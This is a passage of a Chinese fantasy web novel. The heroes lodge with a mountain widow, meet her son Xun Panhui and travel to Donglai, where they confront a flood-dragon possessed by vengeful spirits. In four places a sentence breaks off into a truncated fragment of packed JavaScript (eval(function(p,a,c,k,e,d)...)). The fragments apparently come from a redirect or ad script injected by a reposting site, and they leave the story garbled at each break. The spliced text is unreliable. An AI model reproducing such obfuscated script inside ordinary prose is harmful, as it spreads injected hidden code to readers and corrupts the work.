“难怪我们会在竹虱精的地方看到一地的羽毛。”乔天璇恍然大悟。 花蕊好奇道:“你身上既有鸡的毛也有鸭的毛,那你到底是鸡精还是鸭精啊?” 鸟妖自嘲到:“我是鸡精,有鸭毛是因为我曾在濒死前吸光了一只鸭精的妖力。活下来后……我就逐渐开始长鸭毛了。唉,变得鸡不鸡鸭不鸭的,不伦不类。” 乔天璇想起了方才听到了几声“咯嘎”,忍不住道:“不单止是羽毛,你的叫声也变成鸡叫和鸭叫混在一起的了。” 鸟妖:“……” 祝源不安道:“我们现在这是在去哪儿?” 鸟妖道:“在去我曾经的家,就在附近。放心,我是鸡,就算有妖力支撑也飞不了多远的。” 说话间,乔天璇已经感觉到鸟妖在下降了。 陈渊龙艰难地爬起了身,小心翼翼移到了乔天璇的身旁,道:“天璇,你没事吧?” “我没事。”乔天璇看向了陈渊龙,见他清冷的面容上满是担忧和疲惫之色,脖颈和脸颊处还有几道在遭到电击后留下的黑印子,估计得缓一段时日才能好了,不由得伸手点了点他脸颊上的其中一道黑印子,道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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洛侠一愣,立马对身旁几人道:“走,我们今晚就去那些山民的家里留宿吧。” “好。”乔天璇明白现在下山肯定来不及了,山路走到一半估计太阳就下山了。 今日花了太多的时间来此地寻巫神教教主,只能等明日一早再下山。 与鸟妖告别之后,乔天璇一行人再度沿着溪流往山民住的地方走去。 乔天璇好奇道:“师父,鸡精真的要历劫了吗?” 洛侠道:“或许吧,它碰巧救了我们几人出来,作为妖精,它因此事积德了,历劫之后估计就能成仙了。” 花蕊道:“那只鸡精真的能成仙吗?” 洛侠道:“这就要看它能不能扛得住雷劫了。” “……” 雷劫,这是极难抗住的劫难,若是扛不过去就只有一个“死”字,而且还会灰飞烟灭。 “但愿它能扛得住雷劫。”祝源有些于心不忍。 在一片金红色的晚霞笼罩下,乔天璇一行人终于沿着溪流走回到了山民的住处。 此时,一阵饭菜的香味扑鼻而来。 一个端着一碗饭的小男孩正坐在溪边的一块大石头上吃晚饭。 望见乔天璇一行人后,小男孩大声疑惑道:“你们是谁?” 乔天璇道:“我们是来降伏巫神教女魔头的人。” “真的?”小男孩眼前一亮。 “你们回来了?!”一个妇人忽然从一间茅屋中快步走了出来。 乔天璇定睛一看,见妇人正是之前见过的那个为他们指路的洗衣妇人。 花蕊毫不犹豫道:“对,我们已经把巫神教女魔头给降伏了!” “太好了!我就知道今日听到的那一声爆炸响是从巫神教传来的!”妇人十分激动。 “你听到了?”乔天璇心中对此并不感到意外。 “听到了,我们所有人都听到了!”妇人欣喜若狂:“这下我们终于不必每年特意为那女魔头织三匹布来让她抢了!” 洛侠道:“如此甚好,只是今日天色已晚,不知可否借宿一晚?” “当然没问题!”妇人高兴道:“你们降伏女魔头都累了吧?先来我家吃点东西填填肚子吧!” 洛侠连忙道:“多谢夫人。” 就在妇人带着五人回屋时,突如其来的电闪雷鸣猛然从后方远处传来,声音惊天动地,吓得那在溪流边的大石头上吃饭的小男孩手中的饭碗一个没拿稳,“扑通”一声掉进了水中。 妇人慌忙站定,抬头望天。 可天空依旧霞光万丈,没有丝毫要下雨了的迹象。 唯有晚霞中的一小片乌云在疯狂地往林中一处不断地降下无数蓝紫色的闪电。 “轰隆——” “劈里啪啦啪啦啪啦啪啦!!!” 雷电愈发猛烈,惊得妇人不知所措。 只有乔天璇一行人知道,那是救了他们的鸟妖正在远处的溪流边渡雷劫。 61. 东莱荀氏(一) 约莫十息之后,电闪雷鸣终于结束了。 晚霞中的那片乌云逐渐隐去。 “我咧个老天爷啊……”妇人捂着心口,还没有缓过神来。 乔天璇并不打算和妇人解释鸟妖渡劫的事情,便随口道:“夫人,天象有异,看来许是将有大事发生。” “也对……”夫人努力镇定道:“你们降伏了巫神教女魔头不就是大事一件嘛。” 花蕊明白乔天璇的想法,赶忙拉起乔天璇的手,附和道:“没错夫人!我和她可是三侠行客!日后要是有人问起是谁灭了巫神教女魔头,那就说是三侠行客中最厉害的云天女侠干的!” “三侠行客?云天女侠?”妇人的目光在花蕊和乔天璇之间来回游走。 “是她!云天女侠是她!”花蕊赶忙看向了乔天璇。 “哦,好!”妇人落在乔天璇身上的目光多了几分好奇:“三侠行客中的云天女侠……” “夫人,不知今晚的晚饭吃什么?”乔天璇赶紧转移话题。 妇人当即不好意思道:“我们山民吃的东西不怎么丰盛,今晚我做的是野菜土豆拌饭,怕是有些委屈几位侠客了。” “没事没事,土豆味道不错的,我喜欢!”乔天璇眼前一亮。 花蕊欢喜道:“对啊,土豆可好吃了,我也喜欢!” 洛侠点了点头,表示肯定。 祝源道:“我从不挑食。” 陈渊龙道:“有能充饥之食便已足矣。” “那就好那就好。”妇人似乎安了心,继续带着几人往屋里走去。 听到声音,许多山民都端着饭碗出了茅屋来看热闹,议论纷纷。 “方才突然电闪雷鸣的,但是只在远处的一小块地方,真是奇了!” “哎,你们见到那个寡妇带着三个男人回屋了吗?” “想什么呢,不还连带着两个姑娘一起回了嘛。” “她怎么就这么好客啊?” “寡妇一个,平时孤孤单单的,有外人来了可不得高兴坏了。” “是啊,而且你们刚刚听到他们的对话了没?那个巫神教女魔头被那五个人……叫什么……三侠行客?云天女侠?没听错的话应该就是叫这个。哎对,被云天女侠给灭了。” “那今日咱们听到的那声远远传来的爆炸声看来就是巫神教完蛋了呗。” “可不是嘛……” “……” “娘!娘!” 闻声,妇人转头循声望去。 只见方才那个在溪流边的大石头上端着一个碗吃饭的小男孩浑身湿漉漉地跑向了妇人。 他的手里端着一个空碗,另一只手里拿着一双一根长一些一根短一些的筷子。 乔天璇一瞅就明白了这孩子方才定是饭碗被吓掉进溪流里面后便下水去把饭碗给捞了上来。 “啧,你怎么搞的?哎呀都湿透了真是的……”妇人一把拿过来了小男孩手中的碗。 “娘,我被刚刚的雷电声给吓到了,碗掉水里面了,然后我就下水去把碗给捞上来了。”小男孩有些委屈。 妇人道:“行了,这事儿属于意外,不怪你。你吃饱没?” “饱了。”小男孩依旧满脸委屈。 妇人道:“饱了就赶紧回房间去换件干净衣裳,别着凉了。” “哦。”小男孩把另一只手中的筷子也交给了妇人,快步往屋里跑去了。 花蕊好奇道:“他今年几岁了啊?” 妇人无奈道:“七岁,唉,死小子成天不让我省心。” 乔天璇听到好几个山民说妇人是寡妇,疑惑道:“孩子他爹呢?” 妇人道:“两年前得病死了。” “哦……不好意思。”乔天璇赶紧闭了嘴。 “没事儿。”妇人这会儿已经带着五人回到了屋中。 屋内的陈设十分简单,最显眼的就是一张四方形的桌子,桌子四周各摆了一条可坐两个人的长板凳。 再往里望去便是三个隔开来了的小房间。 妇人道:“你们先坐,我去给你们盛饭。今晚我儿跟我一块儿休息,我儿的房间和我那已经出嫁了的妹妹之前住的房间你们都可以住。” “好,多谢款待。”乔天璇说着,被花蕊一把拉到了桌子旁的其中一条长板凳上坐了下来。 祝源连忙坐到了花蕊旁边的那条长板凳上。 陈渊龙坐到了乔天璇对面的长板凳上,洛侠倒是有些意外陈渊龙没与他抢乔天璇身旁的那条长板凳来坐。 然而乔天璇看着跟自己面对面坐着的陈渊龙,心觉他还不如坐在自己旁边的那条长板凳上。 至少陈渊龙若是坐在自己旁边的那条长板凳上,自己就不用感受坐在对面的他向自己直直投来的目光了。 妇人很快就给每人都端来了一碗野菜土豆拌饭。 碗内的野菜和土豆明显多过了米,且把米都给盖严实了,一看就知道是米不够便用菜来填。 不过能有点食物垫肚子就已经很不错了,毕竟这是在山沟沟里头,食物自然没办法和世家饭桌上的山珍海味相比。 小男孩不一会儿就换好了一身干净的衣衫,对着在屋外厨房里忙活的妇人道:“娘,我出去玩儿啦!” “小心别摔着了!”妇人的声音从厨房中传出。 “好!”小男孩答应着走远了。 乔天璇望向窗外,见天边的晚霞在逐渐退去,山里的虫鸣声不断响起。 碗里的食物并不多,五人很快就吃完了。 妇人收拾着碗筷,好奇道:“你们五个人打算怎么分配两个空房间住?” 乔天璇揽起了花蕊,道:“我和她一起住一间。” 妇人立马明白了另一间房便是其余三个男子住。 “那我们先去休息啦!”乔天璇揽着花蕊站起了身,径直走向其中一间房。 “今日你们降伏巫神教女魔头都辛苦了,好好休息啊。”妇人满脸欣慰的笑容。 花蕊转头对妇人道:“夫人也早些休息吧。” “哎呀你们就不必担心我啦,哈哈。”妇人乐呵地笑了起来。 来到房内,乔天璇见这间房十分干净整洁,而且看起来像是已经有一段时日没人住的样子了。 “这估计是妇人那已经出嫁了的妹妹之前住的房间。”花蕊环顾了一下四周。 乔天璇来到了房间的窗户前,看到不远处清澈见底的溪流旁有不少小孩在嬉戏打闹。 妇人的儿子则依旧坐在溪流边的那块大石头上,呆愣愣地望着其他嬉戏打闹的小孩。 “他怎么不和别的小孩玩儿?”花蕊凑到了窗户旁。 “不知道。”乔天璇摇了摇头。 花蕊道:“我们要不去找他玩儿吧?” “……也行,走吧,顺便去问问他为何不与其他小孩一起玩儿。”乔天璇一下子翻出了窗户去。 “等等我!”花蕊赶忙跟着乔天璇一起翻出了窗户。 两人快步走到了小男孩的身后。 小男孩察觉到了两人,转头疑惑道:“怎么了?” 乔天璇道:“你怎么不和其他小孩一起玩儿啊?” 小男孩眼眸微沉,道:“他们总是拿我娘是寡妇开玩笑,跟他们在一起玩儿我很不开心,干脆就不跟他们玩儿了。” “这样啊,那你不跟他们一起玩儿是对的。”乔天璇倒是能够理解小男孩。 自己母亲的身份和处境被别人拿来开玩笑,换了谁估计都忍不了。 “你叫什么名字?”花蕊走到了小男孩身旁。 “我叫荀盼回。”小男孩思索了一下,补充道:“听我娘说,我爹是东莱荀氏家主的弟弟。要是两年前他没病死,我娘也不会变成寡妇了。” “东莱荀氏?!”乔天璇脑海中立即浮现出了东莱荀氏长子荀韫的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那太好了!”荀盼回当即从怀中掏出了一颗种子,道:“不知你们可否在去到青州东莱时帮我把这颗松树种子种到荀府中?不管种在荀府中的哪里都行!” 乔天璇无奈一笑,遗憾道:“盼回,别天真了。一个世家大族怎可能会让一棵外来的树莫名其妙在自家的府邸里生根发芽呢?就算我偷偷去帮你种下,在被发现之后还是会被拔掉的。” “啊?一棵树都容不下吗?”荀盼回望了望四周。 山谷中郁郁葱葱,最不缺的就是树。 对于从小在这儿生长的荀盼回来说,一棵树想长就长了,没人会去约束一棵树的生长。 “或许我可以命令荀家家主在荀府中种下你的这棵树。” 身后突然传来陈渊龙的声音。 “傻子龙?”乔天璇连忙转身,看到陈渊龙不知什么时候也来了此处。 这会儿天色已经黑下来了,溪流边无数的萤火虫宛如一颗颗发光的星星,星星点点的黄色亮光照着溪流边的一切,十分梦幻。 陈渊龙被无数萤火虫的光点包围着,仿佛他从一片星光中走来。 “当真?”荀盼回惊喜地望着陈渊龙。 陈渊龙认真道:“自然当真。” “好!那我们一言为定!”荀盼回从大石头上跳了下来,蹦跶到了陈渊龙身前,将手中的松树种子递给了他。 陈渊龙接过松树种子看了看,随即收入怀中。 见到荀盼回天真无邪开心激动的模样,乔天璇饶有兴致地看着陈渊龙,乐道:“你倒是会利用自己的身份去命令人做事,以此来讨小孩欢心。” “是嘛。”陈渊龙走近了乔天璇,漆黑的双眸中映出溪流边的乔天璇被无数萤火虫包围的模样。 正当乔天璇下意识想往后退几步,却忽地想起后面是溪流,如果后退几步的话怕是会落水变成落汤鸡时,陈渊龙在乔天璇身前一尺处站定,沉声道:“若是能讨你的欢心就更好了。” 62. 东莱荀氏(二) 听到陈渊龙对自己说的这句话,乔天璇的心猛地跳快了一拍。 花蕊悄悄挪了挪步子,离远了乔天璇一些,目不转睛地看着眼前的陈渊龙与乔天璇,眼中满是兴奋与好奇。 乔天璇“咳咳”两声,道:“反正青州离这儿不远,我们明日便启程去青州,帮小孩完成心愿。” “嗯。”陈渊龙点了点头。 乔天璇被迫与近在咫尺的陈渊龙对视,莫名有些尴尬。可她又没法往后面的溪流里退去,只好转身蹲下,故作在看溪流上飞舞着的萤火虫。 萤火虫的星星光点照在清澈的溪水上,溪底的小鱼游荡在鹅卵石与水草之间。溪对面嬉戏玩水的孩子们时不时让水面荡起一阵涟漪,吓得小鱼猛然急转,往别处游去。 乔天璇伸手点了点水面,指头顿觉冰冰凉凉。 陈渊龙看着乔天璇蹲在溪边被无数萤火虫围绕着的背影,又见她的指尖先是点在水面上,而后手指没入溪中,轻轻一弹,水花便从水面上飞起。 “那我先回去休息了。明日还要赶路,你也早些休息。” 说完,陈渊龙后退了几步,转身离去。 感觉到陈渊龙离开了,乔天璇立马站起身转了回去,望着陈渊龙远去的背影,长长舒了一口气。 花蕊凑回到乔天璇身旁,在乔天璇耳边悄声道:“太子殿下怎么突然来了?” 乔天璇没声好气道:“谁知道他?这不又突然走了嘛。” 花蕊小心翼翼道:“那我们还回去休息吗?” “当然要休息了,不过晚一点吧。”乔天璇拉起花蕊的手,看向了荀盼回。 “女侠?”荀盼回被乔天璇看得有些不知所措。 乔天璇道:“你打算什么时候回家睡觉?” “我……现在吧。”荀盼回有些犹豫。 “你不想。”乔天璇弯腰盯着荀盼回。 荀盼回慌忙道:“我只是有点饿,想找点吃的,吃完就回去。” “哦?”乔天璇和花蕊当即都来了兴趣。 “你知道哪里有吃的?”花蕊两眼冒光。 “知道!你们也饿吗?”荀盼回有些激动。 “饿!”花蕊猛地点头。 “跟我来!”荀盼回一脸神秘地往溪流边不远处的一棵大树走去。 乔天璇和花蕊晚饭的确都没吃饱,连忙跟上了荀盼回。 三人很快就来到了大树边。 荀盼回蹲下身子用手扯了扯大树边长着的东西。 花蕊疑惑道:“这大树下边能有可以吃的东西?” 荀盼回站起身,递给了乔天璇和花蕊一人一根三叶草,道:“这个三叶草酸酸甜甜的很好吃,但是不要吃它的根。” 乔天璇接过三叶草,见荀盼回的嘴里面已经在津津有味地嚼着三叶草了,便放心地吃了起来。 就如荀盼回所说,三叶草的确酸酸甜甜的,味道不错。 “好吃!”花蕊在尝到了三叶草的味道之后大为惊喜。 “我就说很好吃吧?”荀盼回十分得意。 “你平时要是吃不饱的话就会来这里吃三叶草吗?”乔天璇蹲下身子,看清楚了大树边长着不少三叶草。 荀盼回道:“对,不光是这里,还有很多地方都长着三叶草,只不过这里离我们最近。” “没想到草也可以这么好吃。”花蕊蹲在了乔天璇身旁,亲自扯了一根三叶草,折掉根部之后放到嘴里面嚼了嚼。 荀盼回期待道:“也不知荀府有没有长三叶草,要是以后我能有机会回荀府,在府中吃不饱的话就去找府中的三叶草吃。” 闻言,乔天璇心中泛起一阵心酸。 荀盼回这孩子估计一年到头都吃不上几口肉,平日里吃不饱饭更是常事,就更别提世家饭桌上的山珍海味了。他哪能知道世家子弟在府中怎可能会有吃不饱饭后去吃草的时候? “这个草拌饭味道应该也不错吧?”花蕊又扯了一根三叶草吃。 “没试过,之后可以试试。”荀盼回继续扯起了三叶草。在连续扯下了十根之后,他把十根三叶草的叶子一口气全部咬进嘴里嚼了起来,吃得有滋有味。 乔天璇见荀盼回满脸幸福的模样,心中释然。 现在的荀盼回还没见过世家子弟的日子是如何过的,那对于他来说,当下便还是他能悠然自得继续过下去的日子。即便饿得吃草充饥,他也能在吃到满满一大口三叶草的叶片后感到幸福。 夜逐渐深了,三人沿着溪流一起回屋去休息。 与荀盼回互道了晚安后,乔天璇和花蕊回到了她们暂住的房间里睡觉。 睡前,乔天璇和花蕊挤在一张榻上,一同望着窗外的满天星光。 “好多星星,好亮。”花蕊轻声呢喃。 “是啊,山里的天空星星格外亮。”乔天璇不由得回想起了自己小时候在山村的生活。 那时,乔天璇时不时就会爬到屋顶上看星星。如果是母亲还在那会儿,母亲总是会在屋里找不到孩子后立马跑到院子里,抬头望向屋顶,带着笑意怒喝道:“娃儿!三天不打!上房揭瓦了是吧?!” 而乔天璇清楚,母亲对自己的打不过是三巴掌轻轻落到自己的屁股上罢了,一点儿都不疼。 翌日一大早,乔天璇一行人便与妇人和辞别出山。 在经过鸟妖历雷劫的地方时,只见一地被雷劈黑了的焦草焦土,不见鸟妖的踪影。 焦草焦土旁的溪流中,鱼儿依旧在水底灵活地游来游去。 至于鸟妖是否历劫成功就不得而知了。 青州和衮州的距离不远,乔天璇一行人出山后没走几日便到达了青州,进入了东莱荀氏的地界。 然而,天公不作美,在刚踏入东莱的一条大街上后,几人便感觉到四周都在刮大风,一抬头又见乌云密布,云上不断传来雷鸣,当即齐齐躲进了最近的一家客栈中。 客栈大堂这会儿有不少正在吃午饭的人,客栈的伙计忙得不亦乐乎,根本没空招呼乔天璇一行人。 不过乔天璇本来也没打算在这家客栈吃饭,没人招呼便自行来到了一处靠近窗户和楼梯的位置找了桌凳坐下,打算等外面天好点儿了再继续上路。 这家客栈大堂的桌子和凳子都很大,桌子大得可以躺大半个成年人,桌子旁的一条长板凳起码能坐四个人。 陈渊龙之前被电藤电出几处黑印子的脖颈和脸颊如今已经恢复如初,已然是位白皙美男,他和洛侠陪在乔天璇一左一右坐到了一条长板凳上。 祝源则陪着花蕊在窗边看天。 花蕊望着琉璃窗外阴云翻滚的天,不悦道:“现在才午时吧?整个天看起来像是快要天黑了一样。” “没办法,估计是要刮大风下大雨了。”乔天璇一只手的手肘撑在桌子上,手掌托着自己的脸,歪着头慵懒地往窗外望去。 “是啊,正准备出门去呢,老天爷可真是扫兴。” 青涩的女声忽然从乔天璇头顶传来。 乔天璇仰头瞧去,见到一个许是在刚刚才坐到自己所在的这张桌子另一边的长板凳上的少女。 少女身旁还坐着的一个与她年龄相仿的少年。 少年叹息道:“就是,明明刚刚还晴空万里,唉……” 乔天璇连忙坐正了身子,看着坐在对面的两人,好奇道:“你们也是来东莱这儿游玩的?” 少女骄傲道:“我们可是出来闯荡江湖的!” 少年道:“没错!闯荡江湖,行侠仗义!” 说罢,又有两名少年从一旁的楼梯上走了下来,径直步至桌子旁。 乔天璇扫了一眼那两名少年,又扫了一眼坐在长板凳上的少年少女,好奇道:“你们四个是一起的吗?” 少女认真道:“没错!我们是‘四侠行客’!” “嗯?!”花蕊猛地转头看向了乔天璇这边的四侠行客,满眼震惊。 陈渊龙、洛侠,以及跟在花蕊身旁的祝源的目光顿时都落到了四侠行客的身上。 乔天璇心中一乐,对眼前的四侠行客道:“你们听说过三侠行客吗?” 少女理所当然道:“听说过啊!我们就是因为听说了三侠行客的事迹,所以才组队成了四侠行客,立志也要成为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她该怎么说好呢?三侠行客明明是被迫出岛去寻回被盗的物件,行侠仗义不过是顺手的事情,寻回被盗物件之后就回去了。若是不出意外,他们本该再也不出仙落岛的,哪儿是像他们四人这样特意组队去行侠仗义的?简直就是吃饱了撑着,没事找事干。 段忆昔非常认真道:“我们听说东莱有闹海的龙妖,四人商量了许久,好不容易才聚在了东莱这儿。” 荀循自豪道:“是我与大家传了信,让大家来这风云客栈集合。” 戚时初期待道:“我倒是想瞧瞧那闹海的龙妖是何模样。” 绪子华兴奋道:“若是咱们成功降伏了那闹海的龙妖,那咱们估计就能名震江湖了!” 乔天璇试探道:“也就是说……现在你们只是收到信后一起聚到了这里,还没有开始行侠仗义?” 荀循道:“对啊,人刚到齐。” “呼……”乔天璇深呼吸了一口气。 还好还好,这群天真不谙世事的世家子弟哪里知道江湖有多险恶?要是真的放任他们像无头苍蝇一样去闯,不知他们得受多少伤。 就说这个闹海的龙妖吧……这哪儿是普通人能降伏的啊?! “话说龙妖在哪里啊?”段忆昔转头看向了荀循。 荀循转头望向了窗外,神神秘秘道:“再等等,我猜它很快就会出现了。” 乔天璇站起了身,几步走到了窗前。 她倒是想看看是不是真的会有龙妖。 “呼——呼——呼——呼呜呜呜呜呜——” 外面的风刮得越来越大,用妖风来形容再合适不过。 此时,客栈的伙计终于有空来招呼乔天璇这一桌了。 “不知几位客官想要点些什么?” 荀循当即道:“酱鸡、卤鸭、烧子鹅、蒸海蟹、炸鰇鱼、煎海鱼、大虾菜心、什锦苏盘儿,再来四碗白米饭。” “好嘞!”伙计记下之后连忙赶往了后厨。 乔天璇转过头不可思议地望向点完菜后坐到了长板凳上的荀循和其余三个若无其事的世家子弟,惊道:“不是要准备降伏龙妖了吗?怎么突然就点上菜了?!” 63. 东莱荀氏(三) “担心什么?龙妖若是现身了,我们就去降妖。降完妖了,菜差不多也该上齐了。龙妖若是不现身,我们就先吃饭,边吃边继续等。”荀循不紧不慢地说着,懒懒散散地坐了下来。 “是啊,为了等齐人,我都在这风云客栈里住了七日了,还没见到龙妖呢,我们总不能一直干等不吃饭吧?”戚时初也坐了下来,满脸无奈地看着乔天璇。 绪子华转头望向窗外,认真道:“外面的天虽然黑乎乎的,但已经是午时了,到饭点了。” “没错,龙妖得降,饭也得吃。”段忆昔满意地点了点头。 “你们可真是心大啊。”乔天璇心中不禁再一次感慨这几个世家子弟还好才刚完成组队,还没开始真正闯荡江湖,要不然不知得吃多少意想不到的苦头。 “哇!好像真的有龙妖!”花蕊惊讶地伸手一指。 乔天璇转头望去,透过琉璃窗,见外面乌云密布,妖风四起,刮得满地落叶盘旋而上。 “在哪儿?”乔天璇并没有看到花蕊所指的地方有龙妖。 “刚刚还在的,黑黑的一条,突然出现了那么一下子就马上不见了!”花蕊十分激动。 客栈大堂的食客不少,人声鼎沸,再加上外面风声很大,花蕊的声音埋没在嘈杂声中,只有乔天璇这一处的人能听得清楚。 乔天璇对洛侠道:“师父,你感觉到龙妖了吗?” 忽然听到乔天璇问自己问题,洛侠立马起身走到窗边,凝神望天,双眼中泛起一层金色光泽。 三息后,洛侠道:“有,只不过不是龙妖,而是一只大蛟。” “还真有?”祝源略感意外。 “你在质疑我刚刚看错了?”花蕊伸手用力点了一下祝源的眉心,满眼不悦。 “没有没有没有!”祝源慌忙摇头。 “哼。”花蕊转身背对着祝源。 祝源赶紧走到了花蕊面前,委屈道:“对不起,我有错,你打我吧。” “烦死了。”花蕊不耐烦地踩了祝源一脚,再次转身背对着祝源。 “嘶——”祝源疼得蹲下了身子,隔着鞋子揉了揉自己被花蕊刚刚踩了一下的位置。 “师父,大蛟在哪个位置?”乔天璇再次望向了窗外。 虽然不是龙妖,但大蛟也是不容小觑的妖物。 洛侠收了眼中泛起的金色光泽,转头对乔天璇道:“藏在风里,估计正顺着风在风云客栈顶上盘旋。” “风里?盘旋?那看来这妖风八成就是大蛟拿来给自己护身的了。”乔天璇若有所思。 “……等等,这只大蛟身上散发的怨气不对劲。”洛侠眼中忽地再次泛起金色光泽,转头眯眼望着窗外乌黑的天,像是突然感觉到有什么不好的大事将要发生了似的,神情严肃道:“它似乎……想要夺舍?” “夺舍?夺谁的舍?”乔天璇登时一惊。 洛侠环顾了一下客栈大堂中所有的客人,猜测道:“人,且不单止是风云客栈的人,而是这一整条街上的所有人!” “这怎么能行?!我们得赶紧阻止它!”花蕊大惊失色。 “可它一只大蛟如何能夺舍这么多人?它再厉害也只有一条命,怎么可能同时夺舍一大堆人?”乔天璇十分不解。 洛侠亦是有些疑惑:“不知,但我能感觉得到这只大蛟浑身上下每一处地方都在叫嚣着要夺舍。那是无数个念力极强且在散发着怨气的念头,仿佛即将要分散出去同时夺舍无数的人。” “奇了怪了,这么厉害吗?那我也使些强劲的招数来探看探看它!” 说罢,乔天璇的左手和右手同时掀开了右手和左手的衣袖,露出了贴满双手手臂的黄底红字的符。 她双手五指齐齐张开,双手手臂上贴着的符在一瞬间释放出了灵光呈鲜红色的灵力。 这一刻,整个客栈大堂都被红色灵光笼罩。 “红色?红光?” “怎么回事?!” “发生什么事了?!” “这是怎么了?!” 客栈大堂中无数人纷纷惊叹。 与此同时,从风云客栈的外面来看,整个客栈变成了一道红色光柱,直直通天。 乔天璇察觉到在自己的红色灵光内忽然飞进了一只黑色妖物。 妖物呈蛇状,对突然出现的这份灵力极其好奇和震惊。 看来的确就如洛侠猜想那般,大蛟正顺着风在风云客栈顶上盘旋。乔天璇突然来这么一下,大蛟便猝不及防闯入了红色光柱之中。 乔天璇闭上双眼,集中精神感受这只大蛟的情况。 顷刻间,无数的抱怨和谩骂充斥着乔天璇的耳畔,无数恶灵在其成为恶灵之后的前尘记忆和之后的遭遇如潮水般涌入乔天璇的脑海中。 乔天璇飞快地从无数恶灵的抱怨、谩骂、记忆、遭遇中大概整合出了这只大蛟为何会同时夺舍无数人的原因。 原来,大蛟身上附着了无数的恶灵,这些恶灵为人时全都惨死在了东莱大妄山,而杀人者是一众受二皇子唆使的巫人。 这些巫人按照二皇子的意思,把一大群晨曦教教众献祭给了东莱大妄山上寺庙中被供奉的山神。 好巧不巧,这座寺庙就建于大妄山的龙脉上。 这条龙脉恰巧也被一条即将化蛟的大蛇看中,大蛇便躲在建于龙脉上的寺庙中修炼。 一日,大蛇被一众巫人的到来惊动。可蛇生性胆小,当时只是躲在山神像后面的暗处。 受命于二皇子的巫人对着山神像诬蔑善良贫苦的晨曦教教众全都是贪婪、自私的坏人,说是要让山神好好惩罚他们,将其全都用箭射死在了寺庙前,任由乌鸦和秃鹫啃食尸体。 然而,寺庙中的山神像早已因长期没人祭拜失了神力,神像的石身被来历不明的邪灵占据。 邪灵突然收获了一大群被冤死的灵魂,大喜过望,立马将其全都变成了怨气满满的恶灵,为其所用,并命令这些恶灵去夺舍人身,然后控制被恶灵夺舍的人身浑浑噩噩地来到寺庙前时自尽,再将人身自尽后出窍的灵魂变成恶灵,让新的恶灵和旧的恶灵一起继续去夺舍新的人身,以此来给自己循环上供。 一段时日后,躲在寺庙中修炼的大蛇成功化蛟了。 那一天,占据了山神像的邪灵许是看上了大蛟的身躯,它强行让无数的恶灵附到了飞天盘旋的大蛟身上。 大蛟刚化蛟成功,十分虚弱,飞在空中的它突然遭到无数被迫附身到自己身上的恶灵附身。 奈何大蛟之前本就常常躲在被邪灵占据了石身的山神像后面,当它感觉到这些恶灵的行动皆受命于山神像的意思时,误认为这是山神的决定,当即不再挣扎,任由无数的恶灵控制着自己的身子,还以为这是山神对自己的好意,在送自己礼物。 可惜,附身的恶灵并不是山神送给大蛟的礼物,而是邪灵对大蛟从肉身到精神的究极控制。大蛟在此之后像是陷入了昏迷状态一般,被所有附身于它身上且听令于邪灵的恶灵驱策身子。全程位于幕后进行控制的邪灵则在寺庙的山神像中坐享其成,等着被夺舍后的肉身自己送上门来自尽,主动献祭给自己。 此刻,乔天璇他们所面对的正是第二次进行大范围夺舍的大蛟。 第一次大范围夺舍发生在东莱的另一条大街上,也正是荀循听说的那一次。 当然,在那一次事件中,大蛟被人错认成了妖龙。 乔天然不禁怒道:“可恶,恶灵是被迫的,大蛟是无辜的,全都是占据了山神像的邪灵的错!该灭的是那邪灵!只可惜现在若是不灭了被恶灵附身的大蛟,无数的人都会被夺舍!” “恶灵?邪灵?”花蕊一脸疑惑,不知道乔天璇方才都了解到了些什么事情。 乔天璇睁开双眼,垂下双臂让衣袖滑落,不再释放灵力。 笼罩客栈大堂的红色灵光即刻消失,让毫无准备的人们忽地又被吓了一跳。 “红、红光消失了?” “刚刚是怎么回事?” “不知道啊!” “我是不是听到有人在说恶灵、大蛟、邪灵之类的东西?” “对对对!我也听到了!” “说到大蛟……难道是那个传闻中的妖龙出现了?” “不会吧?” “那刚刚说话的姑娘在哪儿?” “……” 段忆昔、绪子华、戚时初、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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戚时初怀疑道:“也不一定,云天女侠喊他师父呢。而且刚刚不还有两个男子追着云天女侠跑出去了吗?说不定那两个男子的其中一个才是风筝少侠。” 荀循高兴道:“那另一个追着云天女侠跑的女子肯定就是玉心女侠了!” 这四人的声音不小,让客栈大堂中的不少人都转头望了过来。 而正在施法布阵的洛侠立马吸引了众人的目光。 “刚刚你们在说什么?三侠行客?云天女侠?玉心女侠?风筝少侠?” “那在窗边施法的那位是不是就是风筝少侠?” “是要准备降伏龙妖了吗?!” “走!去瞧瞧!” 眼看许多人就要围到洛侠身旁,段忆昔、绪子华、戚时初、荀循四人怕极了三侠行客中人施法布阵时被人打扰,急忙齐齐拔剑护在了洛侠周围。 绪子华严肃道:“刚刚突然出现的红光你们是都没看见吗?!龙妖出现了!可别妨碍三侠行客降伏龙妖!” 戚时初认真道:“没错,你们还是赶快坐回自己的位置上去吧!” 段忆昔冷冷道:“要是打扰到了三侠行客,龙妖没法成功降伏,大家都得死!” 荀循激动道:“龙妖要是不死,我们所有人都会像龙妖第一次蛊惑人到大妄山上自尽那样!失去意识,变成找死的行尸走肉!” “这……” 众人缓缓停下了往前围去的脚步,面面相觑。 风云客栈门口处,大门半掩。乔天璇探头见到大蛟身上的无数黑色恶灵正准备齐齐俯冲下来夺舍,当即举起了右手手臂。 